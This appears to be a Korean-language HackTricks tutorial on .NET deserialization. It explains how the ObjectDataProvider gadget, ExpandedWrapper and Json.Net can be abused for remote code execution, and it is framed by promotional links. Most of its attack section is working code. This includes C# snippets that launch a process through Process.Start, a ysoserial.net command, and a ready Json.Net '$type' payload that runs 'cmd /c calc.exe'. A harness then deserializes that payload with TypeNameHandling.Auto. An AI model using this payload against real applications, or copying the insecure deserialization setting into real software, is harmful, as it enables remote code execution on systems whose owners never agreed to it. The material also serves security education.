11 KiB
기본 .Net 역직렬화 (ObjectDataProvider 가젯, ExpandedWrapper 및 Json.Net)
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
- 사이버 보안 회사에서 일하시나요? 회사를 HackTricks에서 광고하거나 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요? SUBSCRIPTION PLANS를 확인해보세요!
- The PEASS Family를 발견해보세요. 독점적인 NFT 컬렉션입니다.
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter에서 팔로우하세요 🐦@carlospolopm.
- **hacktricks repo 및 hacktricks-cloud repo**에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
이 게시물은 ObjectDataProvider 가젯을 악용하여 RCE를 얻는 방법과 Serialization 라이브러리 Json.Net 및 xmlSerializer가 해당 가젯을 악용하는 방법을 이해하는 데 주안점을 두고 있습니다.
ObjectDataProvider 가젯
문서에서는 _ObjectDataProvider 클래스가 바인딩 소스로 사용할 수 있는 개체를 래핑하고 생성한다_고 설명하고 있습니다.
그래, 이해하기 어려운 설명이니까 이 클래스가 왜 흥미로운지 살펴보죠: 이 클래스는 임의의 개체를 래핑할 수 있으며, _MethodParameters_를 사용하여 임의의 매개변수를 설정하고, 그런 다음 임의의 매개변수를 사용하여 선언된 임의의 개체의 임의의 함수를 호출하는 데 사용할 수 있습니다.
따라서, 임의의 개체가 역직렬화되는 동안 매개변수와 함께 함수를 실행합니다.
어떻게 가능한가요
ObjectDataProvider가 정의되고 구현된 PresentationFramework.dll 내의 System.Windows.Data 네임스페이스에서 찾을 수 있습니다. 해당 클래스의 코드를 **dnSpy**를 사용하여 검사할 수 있습니다. 아래 이미지에서 우리가 관심 있는 클래스인 PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name의 코드를 볼 수 있습니다.
MethodName
이 설정되면 base.Refresh()
가 호출되는 것을 확인할 수 있습니다. 이제 이 함수가 무엇을 하는지 살펴보겠습니다.
그럼 this.BeginQuery()
가 무엇을 하는지 계속 살펴보겠습니다. BeginQuery
는 ObjectDataProvider
에서 재정의되며 다음과 같은 작업을 수행합니다.
코드의 끝에서 this.QueryWorke(null)
를 호출하는 것을 알 수 있습니다. 이제 이것이 무엇을 실행하는지 살펴보겠습니다.
이것은 QueryWorker
함수의 전체 코드는 아니지만, 흥미로운 부분을 보여줍니다: 코드는 this.InvokeMethodOnInstance(out ex);
를 호출하는 부분입니다. 이 부분에서 설정된 메서드가 호출됩니다.
MethodName
만 설정하면 실행된다는 것을 확인하려면 다음 코드를 실행할 수 있습니다:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
참고로, System.Windows.Data
를 로드하기 위해 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_을 참조로 추가해야 합니다.
ExpandedWrapper
이전 공격을 사용하면 객체가 ObjectDataProvider 인스턴스로 역직렬화될 수 있는 경우가 있습니다 (예: DotNetNuke 취약점에서 XmlSerializer를 사용하여 객체가 GetType
을 사용하여 역직렬화되었습니다). 그런 다음, ObjectDataProvider 인스턴스에 감싸진 객체 유형에 대한 정보가 없습니다 (Process
예를 들어). DotNetNuke 취약점에 대한 자세한 정보는 여기에서 확인할 수 있습니다.
이 클래스는 주어진 인스턴스에 캡슐화된 객체 유형을 지정할 수 있습니다. 따라서 이 클래스는 소스 객체 (ObjectDataProvider)를 새로운 객체 유형으로 캡슐화하고 필요한 속성 (ObjectDataProvider.MethodName 및 ObjectDataProvider.MethodParameters)을 제공하는 데 사용할 수 있습니다.
이전에 제시된 경우와 같은 경우에 매우 유용합니다. 왜냐하면 우리는 _ObjectDataProvider_를 ExpandedWrapper 인스턴스 안에 감싸고, 이 클래스가 역직렬화될 때 _MethodName_에 지정된 함수를 실행하는 ObjectDataProvider 객체를 생성할 수 있기 때문입니다.
다음 코드로 이 래퍼를 확인할 수 있습니다:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
공식 웹 페이지에서는 이 라이브러리가 Json.NET의 강력한 JSON 직렬화기를 사용하여 모든 .NET 객체를 직렬화 및 역직렬화 할 수 있다고 설명하고 있습니다. 따라서, 만약 우리가 ObjectDataProvider 가젯을 역직렬화할 수 있다면, 객체를 역직렬화하는 것만으로도 **원격 코드 실행(RCE)**를 발생시킬 수 있습니다.
Json.Net 예제
먼저 이 라이브러리를 사용하여 객체를 직렬화/역직렬화하는 방법에 대한 예제를 살펴보겠습니다:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Json.Net 남용
ysoserial.net을 사용하여 다음과 같은 악용을 만들었습니다:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
이 코드에서는 exploit을 테스트할 수 있습니다. 실행하면 calc가 실행되는 것을 볼 수 있습니다.
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
- 사이버 보안 회사에서 일하시나요? 회사를 HackTricks에서 광고하고 싶으신가요? 아니면 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요? SUBSCRIPTION PLANS를 확인해보세요!
- The PEASS Family를 발견해보세요. 독점적인 NFT 컬렉션입니다.
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter에서 저를 팔로우하세요 🐦@carlospolopm.
- **hacktricks repo와 hacktricks-cloud repo**에 PR을 제출하여 여러분의 해킹 기교를 공유해주세요.